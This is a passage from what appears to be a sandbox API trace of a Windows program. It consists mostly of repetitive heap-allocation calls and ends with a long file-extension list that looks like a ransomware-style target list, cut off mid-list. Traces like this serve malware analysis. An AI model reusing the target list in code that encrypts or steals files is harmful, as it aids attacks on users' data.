Flags=0x0, Size=0xa) returned 0x320fb8 [0264.538] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x320f88, Size=0x20) returned 0x2d9c40 [0264.538] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x320f88 [0264.538] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x3220f0 [0264.538] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xe) returned 0x320fd0 [0264.538] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xe) returned 0x320fe8 [0264.539] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d9c40, Size=0x40) returned 0x2dad68 [0264.539] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xe) returned 0x321000 [0264.539] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xe) returned 0x321018 [0264.539] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xe) returned 0x321030 [0264.539] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xe) returned 0x321048 [0264.539] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x321060 [0264.539] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x321078 [0264.539] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x3220d0 [0264.539] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x321090 [0264.539] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2dad68, Size=0x80) returned 0x31eef8 [0264.539] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x3210a8 [0264.539] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x3210c0 [0264.539] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x3210d8 [0264.539] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x3210f0 [0264.539] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x321108 [0264.539] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x321120 [0264.539] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x321138 [0264.539] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x322130 [0264.539] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x321150 [0264.539] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x321168 [0264.539] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x321180 [0264.539] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x321198 [0264.539] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x3211b0 [0264.539] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x3211c8 [0264.539] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x3211e0 [0264.539] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x3211f8 [0264.539] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x31eef8, Size=0x100) returned 0x2f0f00 [0264.539] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x321210 [0264.539] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x321228 [0264.539] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x321240 [0264.539] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x321258 [0264.539] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x321270 [0264.539] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x321288 [0264.540] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x322110 [0264.540] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x3212a0 [0264.540] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x3212b8 [0264.540] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x3212d0 [0264.540] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x6) returned 0x322140 [0264.540] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x3212e8 [0264.540] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x321300 [0264.540] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x322150 [0264.540] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x321318 [0264.540] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x321330 [0264.540] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x321348 [0264.540] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x321388 [0264.540] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x3213a0 [0264.540] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x3213b8 [0264.540] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xe) returned 0x3213d0 [0264.540] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x3213e8 [0264.540] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x321400 [0264.540] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x321418 [0264.540] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x321430 [0264.540] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x321448 [0264.540] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x321460 [0264.540] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x322160 [0264.540] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x321478 [0264.540] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x321490 [0264.540] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x3214a8 [0264.540] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x3214c0 [0264.540] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2f0f00, Size=0x200) returned 0x321770 [0264.540] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x3214d8 [0264.540] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x322170 [0264.540] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x3214f0 [0264.540] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x321508 [0264.540] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x321520 [0264.540] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x321538 [0264.540] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x321550 [0264.540] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x321568 [0264.540] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x321580 [0264.540] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x321598 [0264.541] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x3215b0 [0264.541] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x3215c8 [0264.541] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x3215e0 [0264.541] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x3215f8 [0264.541] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x321610 [0264.541] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x321628 [0264.541] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x321640 [0264.541] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x321658 [0264.541] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x321670 [0264.541] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x321688 [0264.541] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x3216a0 [0264.541] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x3216b8 [0264.541] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x3216d0 [0264.541] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x322180 [0264.541] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x3216e8 [0264.541] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x321700 [0264.541] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x321718 [0264.541] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x322190 [0264.541] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x321730 [0264.541] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x321748 [0264.541] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x321990 [0264.541] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x3219a8 [0264.541] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x3219c0 [0264.541] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x3219d8 [0264.541] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x3219f0 [0264.541] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x321a08 [0264.541] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x321a20 [0264.541] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x321a38 [0264.541] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x321a50 [0264.541] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x321a68 [0264.541] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x321a80 [0264.541] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x321a98 [0264.541] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x321ab0 [0264.541] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x321ac8 [0264.541] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x321ae0 [0264.541] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x321af8 [0264.542] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x321b10 [0264.542] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x321b28 [0264.542] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x321b40 [0264.542] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x3221a0 [0264.542] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x6) returned 0x3221b0 [0264.542] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x321b58 [0264.542] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x321b70 [0264.542] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x321b88 [0264.542] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x321ba0 [0264.542] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x321bb8 [0264.542] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x321bd0 [0264.542] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x321be8 [0264.542] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x321c00 [0264.542] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x321c18 [0264.542] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x321c30 [0264.542] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x321c48 [0264.542] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x321c60 [0264.542] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x321c78 [0264.542] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x321770, Size=0x400) returned 0x2f2ee8 [0264.542] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x321c90 [0264.542] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x321ca8 [0264.542] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x321cc0 [0264.542] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x321cd8 [0264.542] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x321cf0 [0264.542] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x321d08 [0264.542] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x321d20 [0264.542] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x321d38 [0264.542] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x321d50 [0264.542] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2f3308 [0264.542] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x3221c0 [0264.542] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2f3320 [0264.542] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2f3338 [0264.542] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2f3350 [0264.542] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2f3368 [0264.543] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2f3380 [0264.543] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2f3398 [0264.543] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xe) returned 0x2f33b0 [0264.543] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2f33c8 [0264.543] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2f33e0 [0264.543] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2f33f8 [0264.543] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2f3410 [0264.543] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2f3428 [0264.543] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2f3440 [0264.543] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2f3458 [0264.543] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2f3470 [0264.543] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x3221d0 [0264.543] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2f3488 [0264.543] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2f34a0 [0264.543] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2f34b8 [0264.543] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2f34d0 [0264.543] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2f34e8 [0264.543] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2f3500 [0264.543] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2f3518 [0264.543] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2f3530 [0264.543] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2f3548 [0264.543] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xe) returned 0x2f3560 [0264.543] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2f3578 [0264.543] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xe) returned 0x2f3590 [0264.543] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2f35a8 [0264.543] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2f35c0 [0264.543] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2f35d8 [0264.543] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2f35f0 [0264.543] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2f3608 [0264.543] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2f3620 [0264.543] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2f3638 [0264.543] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2f3650 [0264.543] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2f3668 [0264.543] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2f3680 [0264.543] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2f3698 [0264.544] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2f36b0 [0264.544] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2f36c8 [0264.544] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2f3708 [0264.544] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2f3720 [0264.544] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2f3738 [0264.544] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2f3750 [0264.544] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2f3768 [0264.544] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2f3780 [0264.544] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2f3798 [0264.544] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2f37b0 [0264.544] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2f37c8 [0264.544] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2f37e0 [0264.544] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2f37f8 [0264.544] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x12) returned 0x2da2c0 [0264.544] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2f3810 [0264.544] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2f3828 [0264.544] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2f3840 [0264.544] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2f3858 [0264.544] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2f3870 [0264.544] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2f3888 [0264.544] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2f38a0 [0264.544] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2f38b8 [0264.544] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2f38d0 [0264.544] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2f38e8 [0264.544] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2f3900 [0264.544] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2f3918 [0264.544] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2f3930 [0264.544] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2f3948 [0264.544] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2f3960 [0264.544] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2f3978 [0264.544] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2f3990 [0264.544] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2f39a8 [0264.544] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2f39c0 [0264.544] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2f39d8 [0264.545] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2f39f0 [0264.545] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2f3a08 [0264.545] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2f3a20 [0264.545] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xe) returned 0x2f3a38 [0264.545] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2f3a50 [0264.545] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x3221e0 [0264.545] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2f3a68 [0264.545] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x3221f0 [0264.545] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2f3a80 [0264.545] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2f3a98 [0264.545] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2f3ab0 [0264.545] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2f3ac8 [0264.545] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2f3b08 [0264.545] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2f3b20 [0264.545] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2f3b38 [0264.545] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2f3b50 [0264.545] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2f3b68 [0264.545] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2f3b80 [0264.545] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2f3b98 [0264.545] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2f3bb0 [0264.545] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2f3bc8 [0264.545] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2f3be0 [0264.545] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x322200 [0264.545] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2f3bf8 [0264.545] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2f3c10 [0264.545] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2f3c28 [0264.545] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2f3c40 [0264.545] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2f3c58 [0264.545] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2f3c70 [0264.545] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2f2ee8, Size=0x800) returned 0x2f3ef0 [0264.546] lstrlenW (lpString=".1cd;.3ds;.3fr;.3g2;.3gp;.7z;.accda;.accdb;.accdc;.accde;.accdt;.accdw;.adb;.adp;.ai;.ai3;.ai4;.ai5;.ai6;.ai7;.ai8;.anim;.arw;.as;.asa;.asc;.ascx;.asm;.asmx;.asp;.aspx;.asr;.asx;.avi;.avs;.backup;.bak;.bay;.bd;.bin;.bmp;.bz2;.c;.cdr;.cer;.cf;.cfc;.cfm;.cfml;.cfu;.chm;.cin;.class;.clx;.config;.cpp;.cr2;.crt;.crw;.cs;.css;.csv;.cub;.dae;.dat;.db;.dbf;.dbx;.dc3;.dcm;.dcr;.der;.dib;.dic;.dif;.divx;.djvu;.dng;.doc;.docm;.docx;.dot;.dotm;.dotx;.dpx;.dqy;.dsn;.dt;.dtd;.dwg;.dwt;.dx;.dxf;.edml;.efd;.elf;.emf;.emz;.epf;.eps;.epsf;.epsp;.erf;.exr;.f4v;.fido;.flm;.flv;.frm;.fxg;.geo;.gif;.grs;.gz;.h;.hdr;.hpp;.hta;.htc;.htm;.html;.icb;.ics;.iff;.inc;.indd;.ini;.iqy;.j2c;.j2k;.java;.jp2;.jpc;.jpe;.jpeg;.jpf;.jpg;.jpx;.js;.jsf;.json;.jsp;.kdc;.kmz;.kwm;.lasso;.lbi;.lgf;.lgp;.log;.m1v;.m4a;.m4v;.max;.md;.mda;.mdb;.mde;.mdf;.mdw;.mef;.mft;.mfw;.mht;.mhtml;.mka;.mkidx;.mkv;.mos;.mov;.mp3;.mp4;.mpeg;.mpg;.mpv;.mrw;.msg;.mxl;.myd;.myi;.nef;.nrw;.obj;.odb;.odc;.odm;.odp;.ods;.oft;.one;.onepkg;.onetoc2;.opt;.oqy;.orf;.p12;.p7b;.p7c;.pam;.pbm;.pct;.pcx;.pdd;.pdf;.pdp;.pef;.pem;.pff;.pfm;.pfx;.pgm;.php;.php3;.php4;.php5;.phtml;.pict;.pl;.pls;.pm;.png;.pnm;.pot;.potm;.potx;.ppa;.ppam;.ppm;.pps;.ppsm;.ppt;.pptm;.pptx;.prn;.ps;.psb;.psd;.pst;.ptx;.pub;.pwm;.pxr;.py;.qt;.r3d;.raf;.rar;.raw;.rdf;.rgbe;.rle;.rqy;.rss;.rtf;.rw2;.rwl;.safe;.sct;.sdpx;.shtm;.shtml;.slk;.sln;.sql;.sr2;.srf;.srw;.ssi;.st;.stm;.svg;.svgz;.swf;.tab;.tar;.tbb;.tbi;.tbk;.tdi;.tga;.thmx;.tif;.tiff;.tld;.torrent;.tpl;.txt;.u3d;.udl;.uxdc;.vb;.vbs;.vcs;.vda;.vdr;